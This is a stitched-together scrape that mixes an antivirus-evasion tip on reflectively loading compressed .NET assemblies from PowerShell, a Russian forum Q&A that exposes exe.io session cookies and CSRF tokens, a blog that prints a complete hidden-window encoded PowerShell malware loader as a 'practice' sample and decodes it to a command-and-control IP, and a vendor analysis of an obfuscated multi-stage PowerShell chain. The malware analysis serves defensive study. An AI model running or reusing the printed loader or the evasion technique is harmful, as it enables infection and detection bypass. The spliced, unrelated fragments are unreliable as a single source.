.NET Reflective Assembly
A way to bypass AV signature analysis: you can gzip-compress and base64-encode a .NET assembly to load it reflectively via PowerShell right from memory (when compiling the binary, make Program class and its Main method public):
This blog post covers the topic in depth.
An example how the binary can be actually decoded, decompressed and run from memory:
public/Compress-GZipArchive.ps1
<#
.SYNOPSIS
Creates a Gzip compressed file from specified File Paths or input Bytes.
.Parameter Path
Specifies the path or paths to the files that you want to add to the Gzip archive file.
To specify multiple paths, and include files in multiple locations, use commas to separate the paths.
This Parameter accepts wildcard characters. Wildcard characters allow you to add all files in a directory to your archive file.
.PARAMETER LiteralPath
Specifies the path or paths to the files that you want to add to the Gzip archive file.
Unlike the Path Parameter, the value of LiteralPath is used exactly as it’s typed.
No characters are interpreted as wildcards
.PARAMETER InputBytes
Takes the bytes from pipeline and adds to the Gzip archive file.
This parameter is meant to be used in combination with `ConvertTo-GzipString -Raw`.
.PARAMETER DestinationPath
The destination path to the Gzip file.
If the file name in DestinationPath doesn’t have a `.gzip` file name extension, the function appends the `.gzip` file name extension.
.PARAMETER CompressionLevel
Define the compression level that should be used.
See https://learn.microsoft.com/en-us/dotnet/api/system.io.compression.compressionlevel for details.
.PARAMETER Update
Appends to the existing Gzip file.
.PARAMETER Force
Replaces an existing Gzip file with a new one. All contents will be lost.
.PARAMETER PassThru
Outputs the object representing the compressed file. The function produces no output by default.
Здравствуйте.
Я пользуюсь сервисом для сокращения ссылок exe.io.
В личном кабинете где находятся все ссылки есть возможность с помощью кнопки Hide скрыть те ссылки, которые не нужны. Пытаюсь с помощью команды PowerShell автоматизировать эту задачу, чтобы не приходилось вручную нажимать кнопку Hide.
Пользуюсь вот этим кодом (я получил его с помощью инструмента Монитор Сети Ctrl+Shift+E)
$session = New-Object Microsoft.PowerShell.Commands.WebRequestSession
$session.Cookies.Add((New-Object System.Net.Cookie("AppSession", "7d17c52a80d9c25d288ab1585", "/", "exe.io")))
$session.Cookies.Add((New-Object System.Net.Cookie("csrfToken", "c7d46cce802f956bde8762f34b65daa4fbcf6d6abdfe555b880fb10f9c114c8e4c23c2bd6934cb3", "/", "exe.io")))
Invoke-WebRequest -UseBasicParsing -Uri "https://exe.io/member/links/hide/CdrhjyEjVRs" `
-Method POST `
-WebSession $session `
-Headers @{ "Accept-Encoding" = "gzip, deflate, br" "Upgrade-Insecure-Requests" = "1" "Sec-Fetch-Dest" = "document" "Sec-Fetch-Mode" = "navigate" "Sec-Fetch-Site" = "same-origin" "Sec-Fetch-User" = "?1" "TE" = "trailers"
} `
-Body "_method=POST&_csrfToken=c7d46cce802f956bde8762f34b65daa4fbcf6d6abdfe555b880fb10f9c114c8e4c23c2bd6934cb3&_Token%5Bfields%5D=28181cf9aceff27%3A&_Token%5Bunlocked%5D=adcopy_challenge%257Cadcopy_response%257Ccaptcha_code%257Ccaptcha_namespace%257Cg-recaptcha-response" Этот код работает.
Чтобы скрыть тысячи ссылок я копирую этот код и вставляю его ниже уже для другой ссылки. Получается примерно так (здесь пример для двух ссылок):
$session = New-Object Microsoft.PowerShell.Commands.WebRequestSession
$session.Cookies.Add((New-Object System.Net.Cookie("AppSession", "7d17c52a80d9c25d288ab1585", "/", "exe.io")))
$session.Cookies.Add((New-Object System.Net.Cookie("csrfToken", "c7d46cce802f956bde8762f34b65daa4fbcf6d6abdfe555b880fb10f9c114c8e4c23c2bd6934cb3", "/", "exe.io")))
Invoke-WebRequest -UseBasicParsing -Uri "https://exe.io/member/links/hide/CdrhjyEjVRs" `
-Method POST `
-WebSession $session `
-Headers @{ "Accept-Encoding" = "gzip, deflate, br" "Upgrade-Insecure-Requests" = "1" "Sec-Fetch-Dest" = "document" "Sec-Fetch-Mode" = "navigate" "Sec-Fetch-Site" = "same-origin" "Sec-Fetch-User" = "?1" "TE" = "trailers"
} `
-Body "_method=POST&_csrfToken=c7d46cce802f956bde8762f34b65daa4fbcf6d6abdfe555b880fb10f9c114c8e4c23c2bd6934cb3&_Token%5Bfields%5D=28181cf9aceff27%3A&_Token%5Bunlocked%5D=adcopy_challenge%257Cadcopy_response%257Ccaptcha_code%257Ccaptcha_namespace%257Cg-recaptcha-response"
$session = New-Object Microsoft.PowerShell.Commands.WebRequestSession
$session.Cookies.Add((New-Object System.Net.Cookie("AppSession", "7d17c52a80d9c25d288ab1585", "/", "exe.io")))
$session.Cookies.Add((New-Object System.Net.Cookie("csrfToken", "c7d46cce802f956bde8762f34b65daa4fbcf6d6abdfe555b880fb10f9c114c8e4c23c2bd6934cb3", "/", "exe.io")))
Invoke-WebRequest -UseBasicParsing -Uri "https://exe.io/member/links/hide/nckeDrhwF" `
-Method POST `
-WebSession $session `
-Headers @{ "Accept-Encoding" = "gzip, deflate, br" "Upgrade-Insecure-Requests" = "1" "Sec-Fetch-Dest" = "document" "Sec-Fetch-Mode" = "navigate" "Sec-Fetch-Site" = "same-origin" "Sec-Fetch-User" = "?1" "TE" = "trailers"
} `
-Body "_method=POST&_csrfToken=c7d46cce802f956bde8762f34b65daa4fbcf6d6abdfe555b880fb10f9c114c8e4c23c2bd6934cb3&_Token%5Bfields%5D=bd7fafd79bf9531%3A&_Token%5Bunlocked%5D=adcopy_challenge%257Cadcopy_response%257Ccaptcha_code%257Ccaptcha_namespace%257Cg-recaptcha-response" Этот способ работает.
Я меняю только саму ссылку в строке Invoke-WebRequest и Token 28181cf9aceff27%3A в строке -Body (эти данные относятся только к определенной ссылке, а остальная часть кода универсальна.)
Но как сделать, чтобы универсальная часть кода не повторялась тысячи раз?
P.S. Код PowerShell я размещаю в файле myscript.ps1 и запускаю этот файл с помощью команды в *.bat файле:
powershell -executionpolicy RemoteSigned -file myscript.ps1-
Вопрос задан
Вопрос решен!
Спасибо за помощь!
$appsession = Get-Content -Path .\appsession.txt
1..(Get-Content -Path .\url.txt | measure).Count | ForEach-Object {
$url = (Get-Content -Path .\url.txt)[$_-1];
$token = (Get-Content -Path .\token.txt)[$_-1]
$session = New-Object Microsoft.PowerShell.Commands.WebRequestSession
$session.Cookies.Add((New-Object System.Net.Cookie("AppSession", "$appsession", "/", "exe.io")))
$session.Cookies.Add((New-Object System.Net.Cookie("csrfToken", "c7d46cce802f956bde8762f34b65daa4fbcf6d6abdfe555b880fb10f9c114c8e4c23c2bd6934cb3", "/", "exe.io")))
Invoke-WebRequest -UseBasicParsing -Uri "$url" `
-Method POST `
-WebSession $session `
-Headers @{ "Accept-Encoding" = "gzip, deflate, br" "Upgrade-Insecure-Requests" = "1" "Sec-Fetch-Dest" = "document" "Sec-Fetch-Mode" = "navigate" "Sec-Fetch-Site" = "same-origin" "Sec-Fetch-User" = "?1" "TE" = "trailers"
} `
-Body "_method=POST&_csrfToken=c7d46cce802f956bde8762f34b65daa4fbcf6d6abdfe555b880fb10f9c114c8e4c23c2bd6934cb3&_Token%5Bfields%5D=$token&_Token%5Bunlocked%5D=adcopy_challenge%257Cadcopy_response%257Ccaptcha_code%257Ccaptcha_namespace%257Cg-recaptcha-response"
}
DBI
от 40 000 ₽
13 июл. 2024, в 02:42
2000 руб./за проект
13 июл. 2024, в 02:06
100 руб./за проект
13 июл. 2024, в 01:29
50000 руб./за проект
Минуточку внимания

This is the continuation of my previous part-1.
Here we will analyze another base64 code.
Code for practice:
%COMSPEC% /b /c start /b /min powershell -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AHMASQBBAEEAQQBBAEEAQQBBAEEAQQBLADEAWAA2ADMATwBpAFMAaABiAC8ASABQADgASwBQAHEAUgBLAEwAVQAyAEMAagA1AGcANABXADEATgAxAFYAVQBCAFEAUQBCAFQAZgB1AGEAawBVAGoAeABaAFIAbwBIAGsAMABLAE4ANgBaAC8ALwAwAGUAVQBIAE0AegBPADUAbgBkAHEAZABxADEAaQByAEsANwBPAGMALwBmAGUAZgBSAEIAUgBlAFIATwBKAGEARgB0AEUAQQBtAGIAaQBMAHEAYgBvAHoAQwB5AHMAVQBmAFYAQwA0AFYAYgBCAGcAdQBFACsAawByADkAVQBTAHgAcwBZAHMAOABnADIAWABHADIAZQBMAE0AUQBlAGYATgBEAGIATAB4AHAAcABoAG0AaQBLAEsATAArAEsAdAB3AG8AVwBxAGkANQBWAE8AawAyADAAYwBJADMARgA1AHUAeABnADYAcABVAHYAcwBrAEkAawBSAG0ASABxAEgAeAB6AFUANwBqAEoAagAyAEkAdgAwAGoAYgBvAHoAZABPAEkAbgBhAEEAMwBGADUARQB0AE4AaQBOAFEAVgBIAHIAcAArAEQANgBEAFgAYwAzADIAWAByADkAOAA2AGMAVgBoAGkARAB4AHkAMwB0AC8AMwBFAGUAbABFAEUAWABKADEAeAAwAFoAUgBxAFUAeAA5AG8AeABaAGIARgBLAEsANwBrAGIANQBEAEIAcQBIACsAbwBtADcAZgA3AHYAcwBPADEAagBYAG4AUQBwAGIAMgBOAEcATQBMAEQAbgBVADgATQAzAHMAbgBZAGsAUABMAFAATABoAFgAZgBjAGMAbQBwAGUASwBmAGYAeABiAEwATAAzAGUAMQAxADMAcwAyAGkARABVAG4ASwBoAFgAVgBOAEMATABJAHYAVABjAGQAcAAxAGkAbQB2AHAAYwB6AGgAZABQAFUAUgA2AFcAaQBaAEIAcwBoAGoAdgBDAEcAMwBDADkAcwByADEARwAvAG4AKwBYAFcAeQA3AG4AeAAwAHQAbgAyAFkAdgBuAGkAbQBlAFYAcgA0AE0AZQB2AG4AYwB5AGsAbgBuAGwASwBSAFYAZwBxAGcARQAzAG4AagBHAEcAeABTAHIAMQBrACsAbAA1AGUAWAA2AGsALwAzAHEAMgBaAHgAQgA2AHgAWABYAFEAdgBlAEEAUwBGADIARgBkAFIAbQBOAGcARwBpAHUANQA1AHoAVABNAGQATgBFAEUAYgBZAEMAdABHAEUARAA3AFAASwBwAGIAQgBpAEIAQwBSAE8AUABTAG8AcQB5ADMAQQBsACsAQQA5AEsAdAAxADYAcwBlAE4AVQBRAGUANwBMADcAOABwADkATABjAG4AbwBjAEEAWAAzAGQANQBsAEsASAA1AG0AQQBTAGkARgBoAHUAWAByAEoAaQBkACsAQgBRADgAcgB6ADUAaQB3AE8AMwBQAG4ASgArAGcALwBKAFYAWQBiAGYAVAB3AGwAVwBMAG4AdwB2AGYASgBLAHEASgBuAEsAUQBwAFIASAAwAFIAZwBEAGYARAA3AGwAYQB1AEwAbAA1AHkAWgBjAEkALwBDAGsAcABPAEwASgB6AHYAcQA4AFUAWABhAFUAawBNAEUASQBqAE8ARQB5AHoAYwBFADcARABHAEoAVgBmAC8ANABuAFAAVwBlADIAVgBNADYAcgArAFUAbABEAHQAeQBuAFgAaABPAFkAZgBuAGIATQBkAFgANgBtAFcATwBiAGYATwAxAGMARgBNAHUAWABMAEkAbgBPADMALwBUAFkAOQBzAHgAVQBaAGkAOQAvADMAVQAxAE0ARwBoAGoAZQA0AGgASgBQAGMAMgAxAGoAVwB2AEMAbAB6ADYATABHAGQAbwA0AEsATQBmAGoALwBrAG8AbQBnADUAMgBsADQAdQBVAEYATQBwAGsATABPAHMAVQBNADAASgBlAGYAMgBWAGoAWABKAHUAKwA4ADMAYgBOAHgASABRAFAAaQBIAG8ARgBWAGsAQgBMAGwASAA0ADAANQB4ADcAQgBVAEYARAB3AEoAdQBZAEQAZgBlAFEAOQBwAGUAcgB1AEIATQBrAE4AWAA2AGsAdABwAHAAVgBmAHQAMgBUADcATAA1AFoANgBqAFIAVgBHAFYAVQBtAEsAbwBjADYATgBLAHEAVQBoAHoAawBGAG0AbABPAGwANQBrAFgAMQA1ADEAWQBvAEwAegBaAGYARQBmAGMANgBYAFkASQBiAGEAaABSAGUAUQBxADcAcgBYADgAQwBhAFEAWAAxAFQAMwBzAFEAYwBYAEUAQgBrAFEAWABZAEoAaQBxAFAAagBKAHMAegBjAGwAUQBxAFYASwA4AGIAYQBKAHUAcQB0AHIAVwAxAFkAVABpAHAANQBqADAATgBNAGUAQgBrAGcATgBKAEMAYwBRAEUAVABqAEkAcwBWAEoATABsAFQARwBoAFcALwB6ADAALwB5AHYAYwBxAEkAbwBMAHIATwA4AGcARgA2AHIAdwBMAGMAWQA1AG0AUQBjACsANQBWAEYAUwBlAGIAcABxAEYAegBPAEoALwBNAFAAdABhAEoAKwBlAGkAeQBMAEMANgBnAHYAVABCAGEARQBnAEEAMQBjAEcAawBTAHMAMwB0AGsARQBCAGYASwAxAFoALwBTAHIAegAvAHoAYgB3AGYAVwA4AHcAUABaAHYAWgBDAGQAQQBsAGsASwBTAC8ARQBsADIANQBLAHMAbgBMAEoASwBZADMAcwBjAHYAbgA2AGoAbQBXAE8AWABFAGcAQQBOAFMANwBFAGIAbABlAEwAVQBLAHUAcAA1AG0AMgBzAFYARwB3ADgAeAA0AEcAUQBTAHIAdAB4AEsAKwB5AHoAQwBjAGMASABQAEQAdQBGAEoANABHAG4ARQBYAEMAcwBLAEEANABtAGYAbgBjAGkARwBtAHcAOABVAG4AaAA2AHMAQgBIAEcAegAwAHcAegBQAHMAUgBDAFAATwAzAFMARABZADQARwB1AGwAUABRAFoAegBkAEMATQBzAEsAcgBXAHUAdwAyAGEANgBZAHYASgBEAEsAYwBSAFUAOABCAEgAegBGAEMAdwBuAFQANABlAG8AQwA1AGwAbQBXADMATAAzAEwATwAvAEcAUAA5AFUATgBPAFgAQQB2AGUAawA5ADcAawBtAFAANAArADQAagBKADQAWABrAGkANABYADkATgBvAFkAMQBnADkAQwAwAHMATQBEADQASAB0AHUAKwBWADcAMwBZAEQAWQBSAE8AMgBpAGgAcABXAGcAYwBHAHUAUQBaAGEAZABZAHgASABjADQAcgBLAGwAMwByAHoAMQBOAFoAbgBMAE8AKwByAEgAcQBtAHEATgBmAEcAMwBFAEEAKwAxAFYAUAB3AEMAZgB4AFMARwAvAHkARQBOAHUARgBSAGoAMAA1AHQAZwBhAGQARwBPAHcAcgA0AHoARgAvAFUARgBRAFAARABHAHcAdwBFAGYAcABDAHEAagA1AFkAdABwAFAATABCAG8AQQBrAGQAaABDAGUAbgBvAGEAeABQAGEAZgBBAE0ALwBIAEkAVABNAEQAbQBxAHEAVABSAHAAdABzAHkAagBzAGUAUQBPAHgAbABJAFcAVQAzADQAbAA5ADAARgBIAEUAQwArAHMASgBpACsATAArAE4AagBaAEMAYQAyAFEAVQBWAFgAegBwAEUANgBQAE4AYgBXADIAZABoAEoAdABhAGIAUwA5AFEANgA1AGYATgBZADgASABjAHgAYQBOAEIAbABPAHkAYQBpAGkAYQAyADAAeABUAHIANgBVAEsATwArAEUAbwBHAGoANgBaAEwAdwBlAHQAVQBFAHQANwB2AG0AZwBqAHYAYgBzAGgAbQBkAHkAQgB1AEwAWQBHAGIAUgBiAFcATABEAG4AUwBxAGoAcABKAFQAZABEAHIAOABGAE4AbQBDAEgAcQA5AG4AaQBTAEIARAA5AG8AagB0ADkAcQBqAGgAagBKAGMAeQBDAGUAagAwAFIAVwBOAE4AQgBUAEEARAAyAFgAWQBzAGsASAAyAE0ANQBFAGEAYwBNADcAMAAxADQAOABtAE8AOQB1AHAANwBBAEcAYgBnAHMAWABpAHcAWABCAHAAdABaAGEAUAB3AFUAbgBoAG4AWgBvADkAcQB1AGwAeAB2AHoASwBQAGUANgAyAFEAKwBCADcAbQBtADcAWABBAHEAbABmAEEATwBkAFAAdgAxAEsAZgBtAGIASQBrAGQAdgBrAEkARwBEACsANQBzADEASAByAFUAMAAvAGoAQgBQAEQANwBJAHcAQgAwAFIAMQBuAG0AbwBLAGEANgAvAFEATAA0AHoAbwBqAGQAcwBxAE0AcgAxAEcAYgB1AGUATQBPADYAQQBuAGUAeAByAHkALwA1AFkAagBxAGUAYwBNADUAegBTADcAUgA3AFQAWABjAG4AcwBRAFIATABIADcASABFADAAbwB3AGQATABkAGMAOABwAGsANgAzAEYANgBGADQAMwBXAEYAdQBTAHgAawB5AGsAVgBhAGMAeABHAFUANQBuAHAAagBUAG4ATwBvAHkAKwBOAEIAaAB1AFQASwB2ADkAagB0AHkAWQB6AFgAdwArAGsANQBmAEwATwBGAHIATQBhAG4ARQBNADEAbAB1ADgATQBoAHIAbQAxAGgAagBqAGUASwBnAHEAegBiAGsAZgBjACsAcgB3AGEAUwBLADEAVgBpAHYATQBMAHEAeABIAFcAVwBtAHAANwBUADAAegBTAFoAKwBTAFcAcQBYAHQAdABKAGEASgB0AGwAbgB2ACsAOAA5AE4ATABuAEEAbgBzAFQAbQBXAEoAVgA2AGUASQAxAFoAcQBMAHgAUgBtAEYAaQByADkAVQA1AGUAdgBrAC8AWABhAGwALwBaAGEANQBMAFcAUwBQAGgAdgA0AHMAagArAGIANwBlAHkAdABQAGYAYgAyAGsASABnADQARwBUAHoATwBEAHIASwA4ADYASgBLAGwAdQBlAGgAdQBCADAAKwBDAEsAZwA3AFgAUQBhAHQAegBXAE0AbQA0AFYAMgBIAG8AcgBiADcAcgBIAHAALwBkADkASQBqAEcAegBsAE8AMABhADIAKwBSAEkAZABhAEcAKwAwAEUAOABxADcAdAA2AHgAVwBHADIAeQB0AEsAYQBWADgAWQBLAHIANgBkAHkAZQByAFEAVwBkAGIARgBqADkAcABkAEQAcQBiAC8AcgBIAEMAYgBNAFkATQBOAEgALwBuAFQAagB1AHkAZAA5AHUAdABuADUAZgBXADAAZABJAG8ANQBPAFAARwAvAGsASwByAE8AdwBWAHgAbgBqAFYAUwBCAEwAYwB6AEoAegA5AG4AaAB5AGUAbABEAFcAagBqAEoAZAByAEMAdQAxAGoAYQBpADIAUgBpAEcAeQBWAGwATwB6AGYAdwBwAFkATABuAEUATgBsAHIARAAxADUASQBpAE0AcAAyAEIATABGAHMASgBPAGIAWQA4AFcAMQBoAEoAeQBjAGUALwBzAEkASQA5AFAAawBOAE0AaQBQAEQAdQBoAE0AUgBGAFIAMAB6AHcAYwBJAGMAZQBpAEEAYwA1AHEAWgBTAGMAawBmAG0AbwBNAFEAOQBaAGsAbwAxADAASAA5AGcAWQAvAEYAeQBWADkARQBSAHoATQBVADkAMgBQAEkAZQB5AGEAdABSAGYAaQBIAHQAUwA0ADMAawBjAFYAUgBnAHoASQBFACsAUwBkAHMATwB4AGIAOQBLAFIALwBvAEgAWABXAGcAcABqAFoAZQBkADEAWgBXAGYAZgBhADQAQgBEAG0AawBXAE4AMgB4AC8AKwBMAGcAdgA4ADcAaAAxAEQAdgAvAFEAbQA2AEUAagBTADgANwBMAHgAUwBLAFcAZAB6AHcAdgB1AGIAbAA5AHYAagA2ADMAVwB1AGUAOQAvAGYANgBVAGUAUQAxAG4AagBNAGUAbAAzACsASgB0AEUAKwBkAEwAaABmAEQAVQB1AFMARgBrAFoAYgB6AFkASABPAEIAdwBQAFAAOQBiAHIAaQBjAE0AaABkAHgAaABZAEYAMgB4AGwASABxAGYAVAA1AHAATAAxAEgAbwBZAGMAYwBtAEUASgBoAFQAcgAwADIAKwBZADcAagBZAEMATQBiAHQASAA0AHgAOABjAEQAWQBkAHgANwBHAFgAdQBFAHkAbQA4AEcAeQBVAGYAOQAwAFYAYQBiAGUAQwBXAEcANgBPAHYAdQBrAHgANQB0AE4AUABvAHgAYwBQAEwAegBPAFoARgBmAEMATAAxAC8AVwA0AEYANwAxAEEANABnAGkAOABpAHkAeQByAFYATAAwAHMAVQBIAFQAZABQAGIAZgBwAE0AdQBGADMANABlAGwAaAAvADIAMAA5AEMANgB1AG0AZwAxAGoASAB5AHoANQBxAE0AbgBKAE4AWgBVAHYANgBJAGUAeAA1ADYATAAvAFkAdwBCACsAVQBQAHIAZgBvAGMAMwBBAHkAKwBlADUAZAArAGgAeQBnAHoANwBIAHEAMQB3AG8ALwBsAEUAbwBDAEIAdgBxAHcAMwBsAGsAbgArAEIAcgBCAFEAWABVAGMANQA1ADcARQBkAEYAQwBjAHIAZgBEAE8AbgB6AGEANQBIAGQAMQA2AFYAWQByAFUAdwBLADcAcABHADQAMQA2AGoAdAAxAEIAKwA1ADEAbwBrAFkAZAB2AG0AOQBDAEsAOAA0AHUAYgB1AHIAOAB1AGYAYQBOAE8AbQBqADIAbQBmAEUAYgBOAFUARQBHAGcAbgBIADcAYgBvAEIAMQB5AEYASQBFADgAMQBjAG0ATwBoAGUAUwBFAGMAUABaADMANABXAEQAVwBDAGoALwBEAFEAQQBBACIAKQApADsASQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAHoAaQBwAFMAdAByAGUAYQBtACgAJABzACwAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAKQApAC4AUgBlAGEAZABUAG8ARQBuAGQAKAApADsAYou can read some interesting base64 pattern cheat sheet from the below link.
https://gist.github.com/Neo23x0/6af876ee72b51676c82a2db8d2cd3639
We got a base64 code. And we have cyberchef to decode this. After decoding this we have value but that are mixed with lots of null bytes. So we need to use now Remove null bytes recipe from cyberchef to remove those.
After removing all the null bytes, we have something to human readable. But you may notice that anohter base64 code is there. So now we will decode that as well.
After decoding that we got something gibbrish. You may think that the red mark characters are null bytes; but they are actually not. You can also see that cyberchef magic stick is showing and when we hover our mouse there, then Gzip file detected message is giving.
Using the Gunzip recipe, we got a readable powershell code.
Going down a bit, we found another base64 code which is xored with key 35. Lets decode the base64 first then xor it with key 35.
We can see that one IP address. This is the IOC that the threat actor was comunicating with.
So let’s summarize what attacker did.
- Attacker first xored the IOC with a key 35. Then attacker got a value. Then attacker encoded that value using base64.
- Then attacker compress that uaing gunzip. Then whatever the value he got, he again encoded that using base64.
- With that value, he added some null bytes. Then again he encoded that using base64.
If you notice, we just need to reverse this from 3 to 1 point to get the actual IOC that attacker might be comunicated with.
I hope you will learn something new from here.
Thanks. Please Subscribe below.
TL;DR
- After Todyl’s Managed eXtended Detection and Response (MXDR) team flagged a new PowerShell script appearing on an endpoint, the Detection Engineering team began analyzing the details to understand the threat and assess impact.
- The team hunted for adjacent activity across the MXDR customer base and created new managed Security Information and Event Management (SIEM) and Endpoint Detection and Response (EDR) rules to ensure future detection and prevention for Todyl customers.
- In this blog, we explore what the core components of what a malicious PowerShell script may look like and how to perform analysis of similar scripts.
Todyl’s Detection Engineering team plays a vital role in building detections into the Todyl Platform to create new managed Security Information and Event Management (SIEM) and Endpoint Detection and Response (EDR) rules. These rules and detections keep our partners protected from new threat actors and the latest tactics, techniques, and procedures (TTPs).
- How did they get PowerShell to execute so many protected cmdlets?
- What was the final stage?
- Why was there no Cobalt Strike beacon alerting/detections firing, or follow-on binaries shown after script execution?
Despite the intricacies of this encoding and decoding process, the process ended with an elaborate sequence with an unexpectedly simple implementation. This whole process serves as a reminder of the complex layers of cybersecurity threats, where elaborate maneuvers might culminate in unexpectedly straightforward outcomes.
The deep dive

First, we expand the contents of the script to make it easier to read and ultimately understand.

A few things to note with this is we see the declaration of the ua40vc81y7nriz3pkwosbjlh9df function which contains the majority of the code for this program. We first identify where this function is called.

This function accepts a parameter, in this case a base64 string, which provides additional context for the function and how it is used. Next, we will break down the details of what this does.

As a next step, we take the contents of the string and throw it into a data analysis tool to help us with this decoding process.
We can see that they are reading in a string bz241hxonstk as bytes, and then performing some iteration over both the base64 decoded string as well as the bytes string.

A few things to note about this is that the function is continuously iterating over the base64 string and is utilizing the -bxor switch. This is a common method of obfuscation to XOR the string contents.
When dealing with XOR encryption, an encryption key is mandatory to decode the associated data properly. We can see that the GetBytes function passes in the string “bz241hxonstk” we can utilize this as the “key” parameter to the contents of the XOR encrypted string.

For the last part of the script, we see that the contents are then converted into a memory stream, and then GzipStream is utilized to decompress the converted data. Once that is done it changes it to a byte array and returns it from the function.

Armed with this knowledge, we go back tounzip this data and see what we get. After this function exits, we do see Invoke-Expression (IEX) This indicates that PowerShell is now running the decoded and decrypted script.

We’ve successfully decoded contents and discovered that it’s obfuscated PowerShell. This is a common occurrence when reversing code. Adversaries will often go through extensive steps to obfuscate their actions to evade antivirus heuristics engines, static signature checks, and many other techniques.
Second stage

Adversaries have employed a new obfuscation technique for this stage of the attack, character encoding. This technique leverages the use of non-character representations to create strings, for example, character A could be represented as decimal 65. Adversaries will use this technique to slow down the reversal process and bypass signature-based checks.

Utilizing these methods and changing variable names to more readable types we get something that is now human readable.

First, we see that they create an alias for Invoke-Expression and assign it to the rzs variable. This technique allows adversaries to utilize Invoke-Expression functionality by calling the command “rzs”. Allowing them to reduce the number of direct calls to Invoke-Expression.
After that, we see them implement a pseudo-random number generation technique. Leveraging this technique adversaries will perform a mathematical operation, often seeded with a time metric such as the current date to create an expected 15-digit long string.
Utilizing this method, adversaries can create a domain name that may seem random but is completely expected and can be utilized to automatically change the domain names to bypass signature-based detections. Once crafted, they utilize the rzs (Invoke-Expression) alias on what is pulled down from the remote webpage.
There are two interesting things to note with this:
- Utilizing the date to seed the random number generation with the letters A – N can be performed on both the client and server side. As the characters change as the date changes, adversaries then buy the domain and host the malware on that domain continuously. This will help evade signature-based detections.
- There seems to be a tracker token of 523 at the end of the URL, which is likely a token to associate the compromised asset among the many established connections to adversary infrastructure.
Third stage
Upon retrieving the contents, we receive an additional encoded PowerShell script. This one utilizes numerous mathematical functions along with a similar decimal to ASCII conversion technique to de-obfuscate the script’s functions at runtime.

For this first part, they utilize mathematics to obfuscate their strings. The best way to work through these is to break down the individual variables and print them out to the console to build out the commands. Once we have done this, we get figure 14 below.

For the second part, we’ll use the same technique as before, by decoding from base64 and using the same XOR key to decrypt the contents of the script.

Fourth stage
This script has four primary parts, three switch statements and one conclusion part. What we do first is identify the “meat and potatoes” of this script and work backwards, but the final part that contains the main functionality builds off the first three switch statements. So, we must break it all down:
First switch

They are utilizing similar string obfuscation techniques as shown before, decoding these we get something like figure 17 shown below.

We’ve identified another Virtual Machine (VM) detection mechanism. The adversaries utilize the Get-mpComputerStatus cmdlet and check for the value in IsVirtualMachine, however they then add random values to the $juhdtvzxgc variable. That’s not typical behavior, we should keep an eye on the variable to see how it is utilized.
Second switch

Third switch
Another similar switch case, this time targeting Win32_CacheMemory for the switch conditions (figure 19).

Final section
In the final section of the script, we can see where everything comes together.

First, we see the same Get-Date random generation for the URL that we saw in the first script. This is utilized to generate the same domain name as before.

After this we see the appending of .top to that domain name. Once that is complete, we see the generation of two random strings. One 10 digits long with htr appended to the end of it making it 13 digits long, the other is five digits long.

The final step is crafting the curl command to retrieve the next stage, we see the cumulation of all the parts of the earlier script:
- $m3ipfbe9oq6hv4k = Get-Date generated URL + .top
- $jdfinha9eos62kw = Random 10 digit string + hta
- $env:computername = Local computer’s name
- $juhdtvzxgc = Switch-Case generated math value

With all of this built out we get an example domain like the one commented above. A very important thing to note is the id key in the URL which will be utilized to associate the web call with the local computer name.
Second thing to note is the key value—this was automatically generated from all the switch case statements this will allow the adversary to “fingerprint” your host and remotely send an obfuscated number to the remote server.
Some reasons to do this:
- Obfuscation
- Custom payload for next stage based off of Chipset & other
- VM Detect to not retrieve valid payload
- Tracking of compromised assets for remote access management
Now that we understand the URL crafting, we created a script to automatically create all permutations of the key value for any given host and send them to the server in the hopes for a response!
The let down
Sadly, we don’t receive any response, which could happen for a variety of reasons. For example, it might tear down if it gets a Hypervisor value. So, the next thought was “what else are they hosting on their domains?”. A quick brute force of directories using a common word list and we see that they in fact have a 2.php with some PowerShell.

Same as before we do some decoding of the ASCII characters and throw it into a script interpreter, and we get something like in figure 25 below.

At this stage we receive bad news—the final three lines have been commented out as to not pull down the next stage .NET assembly file ruzxs.exe. A quick look into the temp.sh website shows that there is currently no active file staged there, and is an anonymous file hosting site, so asking for identification of the threat actor has a low likelihood.


This means that it’s the end of the line for this execution chain. However, now that the Todyl team is armed with the algorithm for domain generation, we will continue to monitor this threat actor for when they decide to go live once again.


